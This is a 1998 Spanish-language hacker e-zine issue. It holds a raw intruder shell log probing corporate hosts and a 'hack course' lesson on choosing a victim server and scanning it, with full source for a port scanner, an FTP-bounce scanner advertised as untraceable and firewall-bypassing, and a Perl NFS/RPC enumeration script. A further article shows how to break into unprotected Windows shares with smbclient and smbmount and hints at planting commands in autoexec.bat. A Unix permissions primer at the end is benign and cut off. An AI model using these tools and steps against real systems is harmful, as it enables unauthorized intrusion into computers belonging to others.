rlogan@space.honeywell.com finger rlogan@honeywell.com nslookup honeywell.com whois rlogan@space.honeywell.com lynx http://www.honeywell.com finger info-fl51@space.honeywell.com telnet space.honeywell.com users who rwho finger campress elm quit exit whois honeywell.com finger rlogan@space.honeywell.com finger rlogan@129.239.26.10 finger rlogan@129.30.3.16 finger rlogan@129.17.254.12 pine telnet 36.26.0.172 finger boeing.com finger @boeing.com finger @www.boeing.com exit elm tin -r tin -r news.lobo.net whois happyhacker.org pine exit pine tin tin -r news.lobo.net exit pico .forward pine tin -r news.lobo.net who quit exit pine tin who exit dig escape.com telnet free.escape.com exit pine tin tin -r news.lobo.net telnet obscure.sekurity.org 22 who finger @ set prompt = Howdy, haxor buddy! set prompt = 'Howdy, haxor buddy!' exit set set |more set prompt set prompt = 'hax0rch1ck:)' who pico .cshrc tty exit whois internic.net pine nslookup internic.net whois techbroker.com whois happyhacker.org whois happyhacker.com exit telnet escape.com 79 exit nslookup phuck.com nslookup phuck.net dig netral. nslookup netral. whois 208.128.37.4 nslookup phuck.net. nslookup ljusdal.se dig ljusdal.se dig phuch.net dig phuck.net help dig man dig whois dimensional.com exit lynx http://amazon.com lynx happyhacker.org whois techbroker.com pine who exit elm elm exit elm exit elm cat var/spool/mail/cmeinel exit tin tin -r news.lobo.net pine pine pine traceroute obscure.sekurity.org who an traceroute man traceroute finger krees@downeast.net telnet downeast.net 79 telnet downeast.net 79 telnet downeast.net 79 whois downeast.net traceroute downeast.net finger krees@alter.net finger krees@137.39.13.237 finger krees@204.176.212.1 telnet 204.176.212.1 79 finger krees@208.128.23.61 nslookup 204.176.212.1 nslookup 204.176.212.2 dig 204.176.212.1 nslookup 204.176.212. nslookup 204.176.212.10 lynx http://www.agate.net/~krees/resume.html reset who pine exit traceroute sekurity.org pine exit pine exit pine lynx http://www.asmodeus.com whois asmodeus.com pine pine exit traceroute ipt-q1.proxy.aol.com lynx http://204.188.52.99 reset pine who exit pine exit lynx http://dejanews.com exit pine pico worm.tar ftp ftp://obscure.sekurity.org exit exit lynx http://www.westcomm.com/direcpc pine exit whois nwark.com finger who users finger@ telnet 127.0.0.1 79 finger utep finger austin finger elpaso exit pine exit pine telnet 127.0.0.1 ------------ FIN ------------------------------------------------------------- Si algun lector quiere escribir un articulo explicando el log, lo pondremos encantados en el siguiente numero :) <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> - CURSO DE HACK - CHAPTER III Bueno, ya estamos en la tercera entrega de este curso sobre hack y espero que os sirva para algo y ya hallais hackeado algun server :). Ahora ya despues de estar haciendo cosas muy lamers ya empezaremos algo mas serio y que requiere un poco de maestria, pero no te preocupes que aqui estara todo bien explicado. Esta tercera parte esta enfocada al analisis de un server y buscar sus puntos vulnerables, enfocadonos en sistemas Unix logicamente. - Buscando victima. Lo primero que tenemos que hacer es buscar un sever que por alguna razon nos llame la atencion, los principales criterios serian estos: -> El servidor de la escuela, universidad, etc ... -> Sabemos que el Admin es un inutil. -> Nos lo a recomendado un amigo. -> Es un servidor racista, contiene pornografia infantil, etc ... -> Buscando por Inet, lo encontramos interesante. -> Contiene mi juego favorito pero vale un ri¤on. Ahora ya sabemos cual sera nuestra victima, comenzaremos un estudio, es recomendable crear un fichero donde iremos guardando toda la informacion que vayamos obteniendo del servidor en cuestion. - Surfeando los Puertos. Lo primero seria averiguar que puertos tiene abiertos que podemos aprovechar para colarnos. Por eso tenemos que usar un scaneador de puertos, la verdad es que hay muchos y para todos los s.o. practicamente. Ahora os pongo el codigo de uno para unix. ------------ Codigo Fuente --------------------------------------------------- /* * internet port scanner * * This program will scan a hosts TCP ports printing all ports that accept * connections, and if known, the service name. * This program can be trivially altered to do UDP ports also. * * Kopywrong (K) Aug. 25, '94 pluvius@io.org * * Hey kiddies, this is a C program, to run it do this: * $ cc -o pscan pscan.c * $ pscan [max port] * * No, this will not get you root. * * Changes: * Changed fprintf to printf in line 34 to work with my Linux 1.1.18 box * Netrunner 1/18/95 11:30pm * * Changes: * converts port# to network byte order. * Therapy 10/29/96 9:00pm * */ static char sccsid[] = "@(#)pscan.c 1.0 (KRAD) 08/25/94"; #include #include #include #include #include #define MAX_PORT 1024 /* scan up to this port */ int s; struct sockaddr_in addr; char rmt_host[100]; int skan(port) int port; { int r; s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (s < 0) { /* fprintf("ERROR: socket() failed\n"); */ /* Changed to printf for my Linux 1.1.18 box */ printf("ERROR: socket() failed\n"); exit(0); } addr.sin_family = PF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = inet_addr(rmt_host); r = connect(s,(struct sockaddr *) &addr, sizeof(addr)); close(s); if (r==-1) { return (1 == 0); } return (1 == 1); } main(argc,argv) int argc; char *argv[]; { int a,b,c,d,e,f; struct hostent *foo; struct servent *bar; if (argc < 2) { fprintf(stderr,"usage: %s [highest port]\n",argv[0]); exit(0); } if (sscanf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d) != 4) { foo = gethostbyname(argv[1]); if (foo == NULL) { fprintf(stderr,"error: cannot resolve host %s\n",argv[1]); exit(0); } sprintf(rmt_host,"%d.%d.%d.%d",(unsigned char )foo->h_addr_list[0][0], (unsigned char ) foo->h_addr_list[0][1], (unsigned char ) foo->h_addr_list[0][2], (unsigned char ) foo->h_addr_list[0][3]); } else { strncpy(rmt_host,argv[1],99); } if (argc > 2) { f = atoi(argv[2]); } else f = MAX_PORT; fprintf(stdout,"Scanning host %s - TCP ports 1 through %d\n",rmt_host,f); for (e =1;e<=f;e++) { char serv[100]; if (skan(e)) { bar = getservbyport(htons(e),"tcp"); printf("%d (%s) is running.\n",e,(bar == NULL) ? "UNKNOWN" : bar->s_name); } } } ------------ FIN ------------------------------------------------------------- Ahora solo tenemos que compilarlo y ejecutarlo :)) He creido que este escanedor que os doy mas abajo podria ser interesante para nuestros propositos ya que nos permite escanear un servidor pasando por otro servidor aprovechando un bug en el protocolo FTP. ------------ Codigo Fuente --------------------------------------------------- /* * FTP Scan (C) 1996 Kit Knox * * Exploits bug in FTP protocol that allows user to connect to arbritary * IP address and port. * * Features: Untraceable port scans. Bypass firewalls! * * Example usage: * * ftp-scan ftp.cdrom.com 127.0.0.1 0 1024 * * This will scan IP 127.0.0.1 from ftp.cdrom.com from port 0 to 1024 * */ #include #include #include #include #include #include #include int sock; char line[1024]; void rconnect(char *server) { struct sockaddr_in sin; struct hostent *hp; hp = gethostbyname(server); if (hp==NULL) { printf("Unknown host: %s\n",server); exit(0); } bzero((char*) &sin, sizeof(sin)); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(21); sock = socket(AF_INET, SOCK_STREAM, 0); connect(sock,(struct sockaddr *) &sin, sizeof(sin)); } void login(void) { char buf[1024]; sprintf(buf,"USER ftp\n"); send(sock, buf, strlen(buf),0); sleep(1); sprintf(buf,"PASS user@\n"); send(sock, buf, strlen(buf),0); } void readln(void) { int i,done=0,w; char tmp[1]; sprintf(line,""); i = 0; while (!done) { w=read(sock,tmp, 1, 0); if (tmp[0] != 0) { line[i] = tmp[0]; } if (line[i] == '\n') { done = 1; } i++; } line[i] = 0; } void sendln(char s[1024]) { send(sock, s, strlen(s),0); } #define UC(b) (((int)b)&0xff) void main(int argc, char **argv) { char buf[1024]; int i; u_short sport,eport; register char *p,*a; struct hostent *hp; struct sockaddr_in sin; char adr[1024]; if (argc != 5) { printf("usage: ftp-scan ftp_server scan_host loport hiport\n"); exit(-1); } hp = gethostbyname(argv[2]); if (hp==NULL) { printf("Unknown host: %s\n",argv[2]); exit(0); } bzero((char*) &sin, sizeof(sin)); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); rconnect(argv[1]); /* Login anon to server */ login(); /* Make sure we are in */ for (i=0; i<200; i++) { readln(); if (strstr(line,"230 Guest")) { printf("%s",line); i = 200; } } a=(char *)&sin.sin_addr; sport = atoi(argv[3]); eport = atoi(argv[4]); sprintf(adr,"%i,%i,%i,%i",UC(a[0]),UC(a[1]),UC(a[2]),UC(a[3])); for (i=sport; i " if $verbose; &resolve("$root.$i"); } # # Do the work # sub resolve { local($name) = @_; # ip address if ($name =~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) { ($a,$b,$c,$d) = split(/\./, $name); @ip = ($a,$b,$c,$d); ($name) = gethostbyaddr(pack("C4", @ip), &AF_INET); } else { ($name, $aliases, $type, $len, @ip) = gethostbyname($name); ($a,$b,$c,$d) = unpack('C4',$ip[0]); } if ($name && @ip) { print "$a.$b.$c.$d\t$name\n"; system("if ping $name 5 > /dev/null ; then\nif rpcinfo -u $name 100005 > /dev/null ; then showmount -e $name\nfi\nif rpcinfo -t $name 100017 > /dev/null ; then echo \"Running rexd.\"\nfi\nif rpcinfo -u $name 100004 > /dev/null ; then echo \"R unning ypserv.\"\nfi\nfi"); } else { print "unable to resolve address\n" if $verbose; } } sub AF_INET {2;} ------------ FIN ------------------------------------------------------------- Espero que por el momento os haya quedado claro el surfeo de puertos y en la siguiente entrega del curso o sea CURSO HACK IV seguiremos el analisis de un server mediente comandos de unix y definiremos los puntos vulnerables de un server. Byes all y hasta la vista !! CONDE VAMPIRO - J.J.F. / HACKERS TEAM - <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ------------------------------------------------------------------------------ *********** USO DE SAMBA EN LINUX/UNIX COMO SUSTITUTO DEL NBTSTAT ************ ******************************** By Enif. *********************************** ______________________________________________________________________________ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 1. Introduccion. El Bug del NBTSTAT era una de las cosas que aun me ataban a mi pobre windows, cuando lo escuche por primera vez fui una victima de el. Se trataba de que se podia acceder a los archivos de un ordenador con win NT/95 que los tubiera compartidos para su red local si no tenia puesto password para usar los recursos. Parece una cosa realmente estupida, nos lo han de dar todo hecho, pues si!! eso mismo, pero la realidad es que de ahi viene todo el problema, es un bug debido a una mala administracion de los recursos, propiciada por la falta de infor- macion que da Micro$oft da a sus clientes. Os digo por experiencia que la mayoria de gente son absolutamente inconscientes de que alguien puede acceder a su red local por TCP/IP, yo era uno de ellos cuando me entraron y todo eso debido a mi gran "colega" -Psico- ..... bueno eso son detalles le agradezco al menos que no me hiciera desastres. En fin al principio creia que esto era propio de redes micro$oft, pero no es asi. En Linux/UNIX existe una implementacion de este soft que suele conocerse como Samba o LanManager. Ademas no es cosa de magia, en realidad las dos redes estan separaditas, la LOCAL y la Mundial... TCP/IP pero existe un API, llamada netbios que resulta ser una serie de primitvas comtempladas que hacen de pasarela entre una y otra. Este protocolo de aplicacion en versiones de micro$oft es un verdadero desastre , por que ademas fue el causante de los famosos NUKES y tal y tal.... osea que todo esto os deberia de servir a todos para saber que WINDOWS no es un buen sistema operativo para conectarse a Inet. 2. Instrucciones del uso del smbclient como sustituto de nbtstat. Lo primero que necesitamos es instalarnos una version del samba. Bueno esto no ha de ser problema, pues suele venir en la mayoria de las distribuciones de Linux, por propia experiencia os dire que viene en la REDHAT 4.0 - 5.0. Si haceis una instalacion normal incluyendo la opcion de conectividad con windows MSDOS ya se os metera directamente. Bueno, una vez metido el samba, tendreis instalado un servidor de recursos compartidos, esto no es ofensivo para vosotros mediante esta tecnica pero cuidadin! por que la verdad es que el samba es un demonio bastante xplotable, y podriais encontraros sorpresas cuando os conectarais. Para solucionar esto , o bien lo matais antes de conectaros, cosa que es facil, solo habeis de buscar con "ps -ax" entre los procesos activos, como smbd (tambien debereis matar nmbd que esta relacionado con el samba pero ahora no me enrollare en comentaros para que sirve, si teneis curiosidad: "man nmbd" o nmbd --help) , localizais el pid y luego "kill -9 pid". Otra solucion es copiarse el smbclient y luego desinstalarse el paquete del samba. Esto ultimo es mas eficiente pero no lo recomiendo, por que si teneis metido el samba en vuestra maquina podeis hacer pruebas de esto mismo o de los diversos xploits que actuan sobre el. Ademas no he probado esta opcion, asi que no os aseguro que el smbclient no dependa de ningun recurso mas que se meten/configuran al instalar el samba. Si lo probais y funciona os agradeceria que me lo comunicarais. Bueno, pues se supone que ya debes tener metido el samba en tu maquina lo primero que puedes hacer es poner lo siguiente: smbclient Te deberia aparecer lo siguiente maomeno: Usage: smbclient service [-p port] [-d debuglevel] [-l log] Version 1.9.17p4 -p port listen on the specified port -d debuglevel set the debuglevel -l log basename. Basename for log/debug files -n netbios name. Use this name as my netbios name -N don't ask for a password -P connect to service as a printer -M host send a winpopup message to the host -m max protocol set the max protocol level -L host get a list of shares available on a host -I dest IP use this IP to connect to -E write messages to stderr instead of stdout -U username set the network username -W workgroup set the workgroup name -c command string execute semicolon separated commands -TIXgbNa command line tar -D directory start from directory Bueno, todas estas opciones son muy bonitas :) y sirven para diversas cosas, incluso puedes hacerles bromitas a la gente que tenga metido los mensajes emergentes, enviandole notitas con esta herramienta. Si quereis probar mirar la opcion -M. Para hacer lo del nbtstat deberemos usar la opcion -L: smbclient -L "dns_victima" Ojo , aqui solo admite dns, pero para eso no hay problemo, si sabes la ip tranquilamente haces un "nslookup ip" y te dara la dns. Esto nos dara algo asin maomeno: Added interface ip=192.168.0.2 bcast=192.168.0.255 nmask=255.255.255.0 Unknown socket option TCP_NODELAY Server time is Tue Jan 27 22:54:18 1998 Timezone is UTC+1.0 Domain=[WORKGROUP] OS=[Unix] Server=[Samba 1.9.17p4] connected as guest security=user Server=[LOCALHOST] User=[nobody] Workgroup=[WORKGROUP] Domain=[WORKGROUP] Sharename Type Comment --------- ---- ------- IPC$ IPC IPC Service (Samba 1.9.17p4) X Disk "<--- recurso compartido" This machine has a browse list: Server Comment --------- ------- VICTIMA Samba 1.9.17p4 This machine has a workgroup list: Workgroup Master --------- ------- OTHERGROUP OTHER WORKGROUP VICTIMA Las ip,bcast y nmask del ejemplo son simbolicas. Esto significa que el macho comparte recursos, es muy buena senal. Tambien es buena senal que no os pida password por que no es seguro que esto se pueda llegar a hacer sin autentificacion, si os lo pide podeis probar a darle al enter, debido a que muchos servicios de este tipo no tienen passwd, sobretodo los de win.(recordad que algunas maquinas UNIX tambien lo dan) Con esto ya tendreis a la victima localizada y sabreis su nombre de netbios. En este ejemplo es VICTIMA. 3. Instrucciones de uso del net view \\.... Bueno ahora viene lo mas interesante y lo realmente efectivo. He de deciros que hasta ahora no hemos creado una conexion con la victima, solo hemos pedido informacion sobre su nombre y los recursos que comparte. En esto es lo interviene el nmbd, en el servicio de nombres de netbios y tal y tal... Para hacer lo del net view hemos de ejecutar lo siguiente: En una red local normal bastaria con hacer : smbclient \\\\VICTIMA\\recurso para que apareciera el esperado prompt que nos asegura que hemos conectado smb> Esto es debido a que el cliente envia un broadcast por la red local pidiendo informacion del servidor VICTIMA, y este se encargaria de enviarnos una respuesta. Pero en Inet no se puede hacer un mega broadcast de guais a ver si nos contestan chorrocientos servidores con el mismo nombre por esas malditas casulidades de esta vida. Entonces deberemos ayudar al cliente a encontrar a ese nuestro "amigo" servidor VICTIMA, como se hace esto? facil: smbclient \\\\VICTIMA\\recurso -I ip_victima y yasta, luego nos pedira password seguramente y solo hay que probar hasta donde llega la ignorancia de ese susodicho administrador propietario de la maquina, es decir a ver si ha puesto pass o no. Que por que 4 BARRAS "\"? pues no se pero es la formalidad, sino no funa, y la verdad es que eso me hizo partirme los cuernos buscando por que no me conectaba al principio... pero por fin!!! yasta Bueno no mas, solo deciros que a partir de ahi es como un FTP, muy facilito si no sabeis como empezad probad con "h" o con "?" y nada los tipicos ls, cd... y tal y tal... Bueno nada mas... feliz intrusiones en WINDOWS que eso me satisface muy MUCHO. 4. Facilidades a la hora de accder a los datos ;) (extra! extra!) Bueno muchos seguro que habran dicho que esto de hacer algo asin como un FTP es como un palo en los ojos... pues la verdad es que si. Que podemos hacer en Linux para que al conectarnos a un servicio (un directorio concretamente) podamos acceder a el como cuando lo hacemos desde el "ventanas" que el acceso es directo tal como si se tratase de un recurso nuestro?. No es dificil pero si chungo...X"D esto es, que si estas familiarizado un poco con linux no es dificil, lo cual es chungo, y si no lo estais entonces si que es chungoooooooo!!! . Bueno pero no es para tanto, solo hay que recompilar el kernel, si no controlais eso os podeis mirar el KERNEL HOWTO y luego seguid las instrucciones. Bueno para hacer lo que comentaba de conectarse a un recurso compartido y acceder a el como si fuera un directorio vuestro solo tendreis que montar dicho recurso en un directorio vuestro. La gracia, a quien le haga por que a mi no ;), es que por supuesto el mount raso no da opciones remotas, para eso hemos de usar el "smbmount" y "smbumount". Estas dos utilidades por si no las has metido de base cuando instalaste tu linux (probablemente vendran con las opciones de conectividad con windows) las puedes encontrar en un paquete llamado smbfs. Una vez las tienes metidas puedes recompilar el kernel. Lo unico que has de hacer es ir a las opciones de "Filesystem" y ... : <*> DOS FAT fs support <*> MSDOS fs support < > VFAT (Windows-95) fs support < > umsdos: Unix like fs on top of std MSDOS FAT fs [*] /proc filesystem support <*> NFS filesystem support [ ] Root file system on NFS <*> SMB filesystem support (to mount WfW shares etc..) [*] SMB Win95 bug work-around . Asegurate que estas ^ dos ultimas esten activas . . Bueno a recompilar.... Una vez listo esto solo has de reiniciar la maquina ( no te olvides de lilo por si algo ). Una vez listo todo conectamos y yasta. Ahora solo has de seleccionar una directorio que te guste por ejemplo: mkdir /mnt/samba y para montar el directorio de la maquina remota en el : smbmount //VICTIMA/RECURSO /mnt/samba -I y voila!! te pedira password igual que en smbclient y por lo demas igual.... Ahora si quieres ver lo que hay en ese directorio solo has de ir a el cd /mnt/samba y considerar dichos archivos como si se trataran de unos archivos que tienes localmente en ese directorio, con lo que seguro que podreis leerlos y copiarlos pero el modificarlos depende de la forma de compartir archivos de la maquina en cuestion (ya sea solo lectura o acceso total). Nada mas respecto a este tema, lo demas corre de vuestra cuenta, tened en cuenta que si os comparten el directorio raiz teneis acceso al autoexec.bat , etc... con lo que ejecutar algo es cuestion de .. jeje insertar lineas y hacer reiniciar al individuo... ;) . Bueno este ha sido mi primer DoC, asi que ruego un poco de compasion y no me destroceis con KRITICAS DESTRUCTICAS... lo demas lo acepto todo, espero que ayude en algo y ala si necesitais alguna aclaracion, podeis buscadme por HISPANO como "Enif" o como "TuRBo" (from Oioio of course ;) ), suelo esta por #hack_novatos con el "populacho" o por #hackers ... Si sois de #rejoin supongo que no os costara ;-) **** Engendrado por Enif from Oioio **** **** Colaboradores dAEk DrSlump CoSMiC SID 6.7 **** **** Saludos a : **** **** **** **** aRUsHa, ACID-BURN, KRIS, BINARIA, Nad|a **** **** Segarra, Dillet, Marauder, Erfollaor, Sanity **** **** Guss, Dcard, Jupiter, TGILITO, Nobody, PandE **** **** Case, Koji, N|a, Shara, Scorpia.... **** **** y en general a los canales: **** **** #rejoin #hack_novatos y #hackers **** **** Viva Linux!!! Viva!!! **** pido disculpas por adelantado si algun nick no esta reflejado tal cual el autor hubiera deseado, pero eso tiene solucion rapida ;)) ... enif@ThePentagon.com Por ultimo una cosilla que le lei el otro dia a un colega que me permitira que se lo copie ligeramente ;-) ...... ( ;) Marauder ) " Las faltas de ortografia se las dedico a mi profe de Lengua de Bachiller y a mi pApIS. " Este DoC es de libre distribucion, puedes pasarselo a quien quieras y ponerlo en las guebs que quieras, tienes mi vendicion para ello ;-) No me hago responsable de lo que hagas despues de leer esto, tus actos son los causantes no el conocimiento, en nigun sitio te he obligado ha usar lo aqui expuesto asin que vive , se feliz y dejame en mi paz pacifica.......... Ciao By Enif. 1998 ..... El Buen hacker. Consultas en : rejoin@coollist.com <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> /------------------------\ ³ ESTADISTICA DE LOS ³ \ HACKERS EN 1997. / \____________________ / En este articulo es revelaremos la estadistica sobre los ataques que efectuaron los Hackers por Internet en 1997, los cuales fueron muy diversos. Aqui tenemos una tabla la cual refleja los 12 meses del a¤o (horizontal) y abajo los dominios hackeados (vertical). Como podreis observar el dominio .COM o sea Comercial es el mas afectado de todos, seguido de .ORG (organizacion) pero en menor medida, con mucha diferencia. <---------------------- TABLA DE ESTADISTICA -----------------------------> MES EN FE MA AB MA JU JU AG SE OC NO DI TOTAL DOMINIO .COM - - 1 - 3 6 2 7 32 28 59 82 220 .ORG - - 1 1 - - 1 2 - 3 4 6 18 .NET - - - - - - 2 2 2 3 6 1 16 .EDU - - - - - - - 2 1 1 2 3 9 .GOV - - 1 - - 1 - - 1 - 1 2 6 .MIL - - - - - - - - - 2 - 2 4 .US - - - - - - 2 - 1 - 3 1 7 .JP - - - - 1 - - - 1 2 3 - 7 .UK - - - 1 - - - - 1 - 1 3 6 .SE - - - 3 1 - - - - - - 1 5 .ID - - - 1 - - - - - - - - 1 .IT - - - - 1 - - - - - - 2 3 .PL - - - - 1 - - - - - - 1 2 .KR - - - - - - 1 - - - - - 1 .CA - - - - - - 1 - - 2 - 2 5 OTROS - - - - - - - 2 2 3 3 8 17 TOTAL - - 3 6 7 7 9 15 41 44 82 112 326 Otros Dominios: .NL, .RO, .ES, .NO, .ZA, .AT, .CN, .IR, .AU, .CZ, .MX, .MY, .TW La estadistica a sido realizada en base a las siguientes reglas: - Todos los ataques fueron verificados. - Multiples ataques fueron contados. - Entre Enero y Febrero de 1997 no hubo estadistica, por eso no hay numeros. - Estos sitios aumentaron el trafico y su popularidad el a¤o pasado, por lo que engordaron el total. - Los comercios On-Line atacados no han sido incluidos. - Esta estadistica no es un estudio cientifico como tal. Nota : Datos obtenidos en Hacked Net. - J.J.F. / HACKERS TEAM - <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> [DOCUMENTO SOBRE LOS PERMISOS DE ARCHIVOS Y DIRECTORIOS PARA SISTEMAS UNIX] ============================================================================== 1. Introduccion --------------- El siguiente documento tratara de explicar en que consiste y como podemos establecer los diferentes permisos que podemos atribuir tanto a directorios como a archivos en sistemas UNIX. Si eres un usuario avanzado en el terreno UNIX, esto ya deberias saberlo, pero si aun asi deseas leerlo te agradeceria a ti y a todos los demas, que me rectificarais cualquier fallo que pueda tener durante este texto. 2. Comenzando ------------- Como todos sabreis los sistemas UNIX son sistemas multitarea/multiusuario. A diferencia del sistema operativo MSDOS (por ejemplo), estos sistemas operativos tienen la capacidad de tener a mas de un usuario dentro del sistema, tanto localmente como remotamente. Por lo tanto para proteger la privacidad de los archivos y directorios de cada uno de ellos, para proteger ciertos archivos elementales para el buen funcionamiento de la maquina, y para una buena organizacion del sistema (aparte de otras muchas razones), tenemos a nuestra disposicion los llamados permisos. Como ya sabras, en una computadora con el S.O MSDOS, cualquier persona que acceda a ella puede en cualquier momento borrar todo el disco duro. En los sistemas UNIX hay diferentes categorias de usuarios, siendo la mas alta la del llamado 'root', o superusuario, que puede leer, escribir y ejecutar en cualquier archivo dentro del sistema. Como he citado antes, hay 3 posiblidades a la hora de 'tratar' a un archivo. Leer el archivo, ejecutar el archivo y escribir en el archivo (por supuesto, nada de esto podremos hacer si no tenemos permiso para ello o no hemos establecido los permisos oportunos). 3. UIDs y GIDs -------------- Toda persona que haya tenido la oportunidad de trabajar con un sistema UNIX, si ha tenido la ocasion de observar el archivos de paswords, habra visto que aparte de la informacion del usuario, login, definicion de shell... se encuentran 2 numeros, para ser mas exactos, en el tercer y cuarto campo. El tercero UID, y el cuarto, tambien definido en /etc/group GID. Todo esto a grosos modos, serviria para identificar a cada archivo con su propietario y grupo, entre otras cosas. Los permisos de los archivos se almacenan junto con otra informacion en una palabra de 16 bits dentro de lo llamado 'i-node'. 9 de ellos, se refieren a lo mencionado anteriormente (lectura, escritura y ejecucion), ademas de 3 bits adicionales que contienen cierta informacion para las operaciones con el archivo si es ejecutable, que ya explicaremos mas adelante. Cada archivo posee un'i-node' diferente, que ademas de contener todo lo que hemos citado anteriormente, este numero tambien hace referencia a los X primeros bloques en el disco donde se encuentra ese fichero, y vienen las referencias de los bloques que contienen las direcciones simples, dobles y triples del resto de los bloques del fichero, ademas de muchas otras cosas que no tratamos en este documento. *NOTA* Si deseamos saber el numero 'i-node' de un archivo en concreto podemos emplear el comando 'ls -i archivo' 4. Permisos ----------- En los archivos, o ficheros UNIX, a la hora de establecer los permisos deseados tenemos que hacer uso de una orden de este S.O, que ha sido destinada para eso exactamente, para la especificacion de permisos, esta orden se llama 'chmod'. A la hora de establecer los permisos, tenemos dos posiblidades, las dos son igual de validas y buenas, aunque cada uno siempre se habituara a la que le resulte mas comoda. Las dos posiblidades citadas anteriormente reciben el nombre de absoluta y relativa, que mas adelante hablaremos sobre ellas. A continuacion explicaremos las caracteristicas globales que tienen los permisos de los archivos tanto hayan sido asignados en forma abosluta como relativa. Fijate en los siguientes cuadros: Fig 1. -rwxrwxrwx 1 core users 5 Feb 4 21:49 prueba* Fig 2. Permiso ----------------- r | lectura w | escritura x | ejecucion Gracias al comando 'ls -l' podemos obtener bastante informacion tanto de los archivos como de los directorios del sistema UNIX, tras hacer un ls -l prueba el sistema nos mostrara algo parecido a la Figura 1. Que como podemos observar el usuario 'core' del grupo 'users' tiene un archivo llamado 'prueba'. Si observamos el primer fragmento de la linea, nos extra¤ara el ver repetidamente las letras r,w y x, ademas del '-' al principio de todo. Pues bien como hemos citado antes, un S.O basado en UNIX tiene diferentes categorias de usuarios, es por ello que en el archivo 'prueba' y en todos los archivos, se engloban todos estos grupos. El primer '-' significa que es un archivo normal, ya que si fuese un directorio dicho '-' nos lo representaria por 'd', si fuese un enlace mediante 'l', 'b' significaria que es un dispositivo especial de bloques, 'c' un dispositivo especial de caracteres,'p' un archivo de conduccion por nombre, 's' un semaforo y 'm' nos indicaria que es un archivo de memoria compartida. Las 3 primeras letras 'rwx' si os fijais en la Fig 2 sabreis que se refiere tanto a permisos de lectura, escritura y ejecucion, pero este primer terceto siempre se referira al usuario que creo dicho archivo, es decir al usuario 'core', por lo tanto sabemos que este usuario puede leer, escribir y ejecutar dicho fichero. Pero... que hay del resto? Pues bien, el segundo terceto siempre se referira a los permisos del grupo, mientras que lo que resta a los demas usuarios. Por lo tanto en este caso, como habreis deducido, todo el 